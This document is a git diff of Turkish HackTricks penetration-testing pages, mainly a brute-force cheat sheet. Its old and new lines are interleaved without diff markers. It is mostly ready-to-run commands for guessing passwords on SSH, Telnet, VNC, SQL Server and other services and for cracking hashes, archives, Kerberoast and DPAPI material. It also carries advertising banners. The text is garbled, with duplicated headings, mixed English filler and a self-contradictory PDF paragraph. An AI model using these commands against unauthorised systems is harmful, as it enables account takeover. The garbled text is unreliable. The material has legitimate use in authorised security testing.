@ -438,7 +430,7 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar
```
### SOCKS
SOCKS, yani "Socket Secure", ağ üzerinden güvenli bir şekilde veri iletmek için kullanılan bir protokoldür. SOCKS sunucuları, ağ trafiğini yönlendirmek ve gizlemek için kullanılabilir. Bu, hedef sistemlere erişmek için kullanılan bir tekniktir.
### SOCKS
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
@ -447,7 +439,7 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
```
### SQL Server
SQL Server, Microsoft'un ilişkisel veritabanı yönetim sistemidir. SQL Server'a brute force saldırıları genellikle SQL Server Authentication modunda gerçekleştirilir. Bu saldırılar, kullanıcı adı ve şifre kombinasyonlarını deneyerek SQL Server'a erişmeye çalışır. Saldırganlar genellikle oturum açma formlarını hedef alır ve oturum açma sayfasına otomatik olarak kullanıcı adı ve şifre kombinasyonları gönderir. Bu saldırı türü, zayıf veya varsayılan şifreler kullanıldığında etkili olabilir.
SQL Server, Microsoft'un ilişkisel veritabanı yönetim sistemidir. Brute force saldırıları, SQL Server veritabanlarına erişmek için kullanılabilir. Bu saldırılar genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek gerçekleştirilir. Saldırganlar genellikle oturum açma formlarını hedef alır ve oturum açma sayfasına doğrudan erişim sağlamaya çalışırlar.
```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -458,7 +450,7 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts
```
### SSH
SSH, Secure Shell'in kısaltmasıdır. SSH brute force saldırıları, genellikle bir kullanıcı adı ve şifre kombinasyonunu doğru bir şekilde tahmin etmek için otomatik araçlar kullanarak SSH sunucusuna erişmeye çalışan saldırganlar tarafından gerçekleştirilir. Bu saldırı türü, güvenlik duvarı ve diğer güvenlik önlemleri tarafından engellenmediği sürece etkili olabilir.
SSH, **Secure Shell** anlamına gelir ve ağ protokollerini güvenli bir şekilde yönetmek için kullanılır. SSH brute force saldırıları, genellikle şifre deneme saldırılarıyla gerçekleştirilir. Saldırganlar, farklı şifre kombinasyonlarını deneyerek hedef SSH sunucusuna erişmeye çalışırlar. Bu saldırı türü, güçlü ve karmaşık şifreler kullanılarak önlenmelidir.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
@ -470,17 +462,17 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
```
#### Zayıf SSH anahtarları / Debian tahmin edilebilir PRNG
Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalara sahiptir. Bu, büyük ölçüde azaltılmış bir anahtar alanıyla sonuçlanabilir ve [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gibi araçlarla kaba kuvvet saldırısına maruz kalabilir. Önceden oluşturulmuş zayıf anahtar setleri de mevcuttur, örneğin [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalara sahiptir. Bu, büyük ölçüde azaltılmış bir anahtar alanıyla sonuçlanabilir ve [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gibi araçlarla brute force saldırısına maruz kalabilir. Önceden oluşturulmuş zayıf anahtar setleri de mevcuttur, örneğin [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ ve OpenMQ)
STOMP metin protokolü, RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj sıralama hizmetleriyle sorunsuz iletişim ve etkileşim sağlayan yaygın olarak kullanılan bir iletişim protokolüdür. Mesaj alışverişi yapmak ve çeşitli mesajlaşma işlemlerini gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar.
STOMP metin protokolü, RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj sıralama hizmetleriyle sorunsuz iletişim ve etkileşim sağlayan bir mesajlaşma protokolüdür. Mesaj alışverişi yapmak ve çeşitli mesajlaşma işlemlerini gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar.
```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```
### Telnet
Telnet, ağ üzerindeki diğer cihazlara erişmek için kullanılan bir protokoldür. Genellikle kullanıcı adı ve şifre gibi kimlik doğrulama bilgilerini iletmek için kullanılır. Güvenlik açısından zayıf olduğundan, saldırganlar genellikle brute force saldırılarıyla Telnet sunucularına erişmeye çalışırlar.
Telnet, ağ protokolüdür ve bir bilgisayara uzaktan erişim sağlamak için kullanılır. Genellikle TCP üzerinden 23 numaralı bağlantı noktası üzerinden çalışır. Telnet, metin tabanlı bir protokol olduğundan, veriler açık bir şekilde iletilir ve bu nedenle güvenli değildir. Güvenli olmayan doğası nedeniyle, Telnet üzerinde yapılan iletişimler kolayca izlenebilir ve ele geçirilebilir. Bu nedenle, Telnet yerine güvenli alternatifler kullanılması önerilir.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
@ -496,8 +488,6 @@ legba telnet \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
```
### VNC
VNC, sanal bir ağ üzerinden başka bir bilgisayara uzaktan erişmek için kullanılan bir grafiksel masaüstü paylaşım sistemidir. VNC brute force saldırıları, genellikle standart kullanıcı adları ve şifreleri deneyerek VNC sunucularına erişmeye çalışır. Bu saldırı türü, güçlü ve benzersiz şifreler kullanılarak kolayca önlenir.
```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc
@ -519,10 +509,10 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Yerel
@ -575,7 +565,7 @@ unzip unlocked.zip #User new_pwd as password
```
### 7z
### 7z
Brute force attacks can be used to crack passwords for 7z archives. Tools like **7z2hashcat** can convert 7z files to hashcat formats for easier cracking. Hashcat can then be used to perform the actual brute force attack.
```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
@ -588,7 +578,7 @@ apt-get install libcompress-raw-lzma-perl
```
### PDF
PDF dosyaları, genellikle metin belgeleri, elektronik kitaplar veya formlar gibi belgeleri depolamak için kullanılan bir dosya biçimidir. PDF dosyaları genellikle metin, grafik ve diğer medya türlerini içerebilir. PDF dosyaları genellikle Adobe Acrobat veya diğer PDF okuyucuları kullanılarak görüntülenebilir ve düzenlenebilir.
PDF dosyaları, genellikle metin belgeleri, elektronik kitaplar veya formlar gibi belgeleri depolamak ve paylaşmak için kullanılan popüler bir dosya biçimidir. PDF dosyaları genellikle şifrelenmez ve içeriğe erişimi sınırlamak için koruma önlemleri alınmaz. Bu nedenle, PDF brute force saldırıları genellikle şifrelenmemiş PDF dosyalarının şifresini kırmak için kullanılır. Bu saldırı türü, genellikle otomatik araçlar veya yazılımlar kullanılarak gerçekleştirilir ve şifre kombinasyonlarını deneyerek doğru şifreyi bulmaya çalışır.
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
@ -628,8 +618,6 @@ keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a f
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
### Keberoasting
Keberoasting, bir hedefin Service Principal Name (SPN) değerlerini kullanarak Kerberos bileşenlerine saldırmak için kullanılan bir tekniktir. Bu saldırıda, SPN'ye sahip hesaplar hedeflenir ve bu hesaplara ait olan Kerberos bileşenlerinden hedefin uzun süreli kimlik doğrulama bileşenlerini çalmak amaçlanır. Bu çalınan bileşenler daha sonra çeşitli offline saldırı teknikleriyle kırılmaya çalışılır.
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
@ -672,9 +660,9 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
<figure><img src="../.gitbook/assets/image (663).png" alt=""><figcaption></figcaption></figure>
### DPAPI Anahtarını Kırma
### DPAPI Anahtarını Kırmak
[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) adresini kullanın ve ardından john
[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) adresini kullanın ve ardından john'u çalıştırın
### Open Office Şifre Korumalı Sütun
@ -700,10 +688,10 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Araçlar
@ -744,10 +732,10 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
* **Kelime listesi kombinasyonu** saldırısı
* **Kelime listesi kombinatörü** saldırısı
Hashcat ile **2 kelime listesi birleştirilebilir**.\
Eğer 1. liste **"hello"** kelimesini içeriyorsa ve ikinci liste **"world"** ve **"earth"** kelimelerini içeriyorsa. `helloworld` ve `helloearth` kelimeleri oluşturulacaktır.
Eğer 1. liste **"hello"** kelimesini içeriyorsa ve ikinci liste **"world"** ve **"earth"** kelimelerini içeriyorsa, `helloworld` ve `helloearth` kelimeleri oluşturulacaktır.
```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
@ -790,7 +778,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
* Kelime listesi + Maske (`-a 6`) / Maske + Kelime listesi (`-a 7`) saldırısı
* Kelime listesi + Mask (`-a 6`) / Mask + Kelime listesi (`-a 7`) saldırısı
```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
@ -803,6 +791,8 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
### Linux Hash'lerini Kırmak - /etc/shadow Dosyası
Linux'ta, kullanıcı parolaları `/etc/shadow` dosyasında şifrelenmiş olarak saklanır. Bu dosya, parolaların hash değerlerini içerir ve saldırganlar bu hash değerlerini kırarak kullanıcı parolalarını elde edebilirler.
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
@ -813,27 +803,32 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM"
## Windows Hashes
### Cracking Windows Hashes
### Introduction
Windows hashes can be cracked using various tools and techniques. One common method is **brute force** attack, where an attacker tries all possible combinations of characters until the correct password is found. This can be a time-consuming process, especially for complex passwords. Another approach is to use **rainbow tables**, which are precomputed tables used to crack password hashes more efficiently.
When it comes to cracking Windows hashes, brute force is a common technique used by hackers. Brute force involves systematically checking all possible passwords until the correct one is found. This method can be time-consuming but is often effective, especially if the password is weak.
When attempting to crack Windows hashes, it is important to consider the strength of the password and the resources available to the attacker. Using a combination of **brute force** attacks, **dictionary attacks**, and **rainbow tables** can increase the chances of successfully cracking the hash.
### Tools
---
# Kaba Kuvvet
There are various tools available for brute forcing Windows hashes, such as **John the Ripper** and **Hashcat**. These tools use different algorithms and techniques to crack passwords, making them valuable resources for hackers attempting to gain unauthorized access to Windows systems.
## Windows Hash'leri
### Methodology
### Windows Hash'lerinin Kırılması
The methodology for brute forcing Windows hashes typically involves creating a wordlist of potential passwords and using a tool like John the Ripper or Hashcat to systematically test each password against the hash. Hackers may also use rulesets to modify and combine words in the wordlist to increase the chances of success.
Windows hash'leri çeşitli araçlar ve teknikler kullanılarak kırılabilir. Bir yaygın yöntem **kaba kuvvet** saldırısıdır, burada saldırgan doğru şifreyi bulana kadar tüm olası karakter kombinasyonlarını denemeye çalışır. Bu, özellikle karmaşık şifreler için zaman alıcı bir süreç olabilir. Başka bir yaklaşım ise **gökkuşağı tabloları** kullanmaktır, bunlar önceden hesaplanmış tablolarıdır ve şifre hash'lerini daha verimli bir şekilde kırmak için kullanılır.
### Conclusion
Windows hash'lerini kırmaya çalışırken, şifrenin gücünü ve saldırganın kullanabileceği kaynakları göz önünde bulundurmak önemlidir. **Kaba kuvvet** saldırıları, **sözlük saldırıları** ve **gökkuşağı tabloları** kombinasyonunu kullanmak, hash'i başarılı bir şekilde kırma şansını artırabilir.
Brute forcing Windows hashes can be a powerful technique for hackers looking to crack passwords and gain access to Windows systems. By using the right tools and methodologies, hackers can increase their chances of success in compromising Windows security.
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
# Kırma Ortak Uygulama Karma Değerleri
Bir uygulamanın kimlik doğrulama işlemi sırasında kullanıcı parolalarını depolamak için genellikle karma değerleri kullanır. Bu karma değerleri, parolaların gerçek değerlerinin yerine geçen ve genellikle saldırganların parolaları çözmelerini zorlaştıran rastgele karakter dizileridir. Ancak, bazı durumlarda, bu karma değerleri basit veya yaygın parolalar kullanılarak oluşturulabilir.
Örneğin, MD5, SHA-1 veya SHA-256 gibi yaygın olarak kullanılan karma algoritmaları, saldırganların bu karma değerlerini kaba kuvvet saldırılarıyla çözmelerine olanak tanır. Bu tür saldırılar, genellikle sözlük tabanlı saldırılar veya tüm olası kombinasyonları deneyen brute-force saldırıları şeklinde gerçekleştirilir.
Bu nedenle, uygulama güvenliği testleri sırasında, karma değerlerinin güvenliğini değerlendirmek için kaba kuvvet saldırıları yapılması önemlidir. Bu saldırılar, zayıf veya yaygın parolaların kullanıldığı durumları tespit etmek ve uygulamanın güvenlik açıklarını gidermek için önemli bir adımdır.
```
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
@ -845,22 +840,22 @@ Windows hash'lerini kırmaya çalışırken, şifrenin gücünü ve saldırganı
```
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\
[**Trickest**]'i (https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}

View file

@ -2,25 +2,25 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
**Kontrol etmek için ilginç sayfalar:**
@ -33,21 +33,21 @@ Bugün Erişim Alın:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>

View file

@ -1,26 +1,26 @@
# Exploit Araştırması
# Exploit Ara
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**]'i (https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
### Tarayıcı
@ -30,7 +30,7 @@ Ayrıca [https://exploits.shodan.io/](https://exploits.shodan.io) adresinden **s
### Searchsploit
**Konsoldan exploitdb'deki hizmetler için exploit aramak için kullanışlıdır.**
**Konsoldan exploitdb'deki hizmetler için exploit aramak için** **searchsploit** kullanışlıdır.
```bash
#Searchsploit tricks
searchsploit "linux Kernel" #Example
@ -54,7 +54,7 @@ Eğer hiçbir şey bulamazsanız, kullanılan teknolojiyi [https://packetstormse
### Vulners
Vulners veritabanında da arama yapabilirsiniz: [https://vulners.com/](https://vulners.com)
Ayrıca vulners veritabanında arama yapabilirsiniz: [https://vulners.com/](https://vulners.com)
### Sploitus
@ -63,21 +63,21 @@ Bu diğer veritabanlarında exploit arar: [https://sploitus.com/](https://sploit
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme konusunda</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
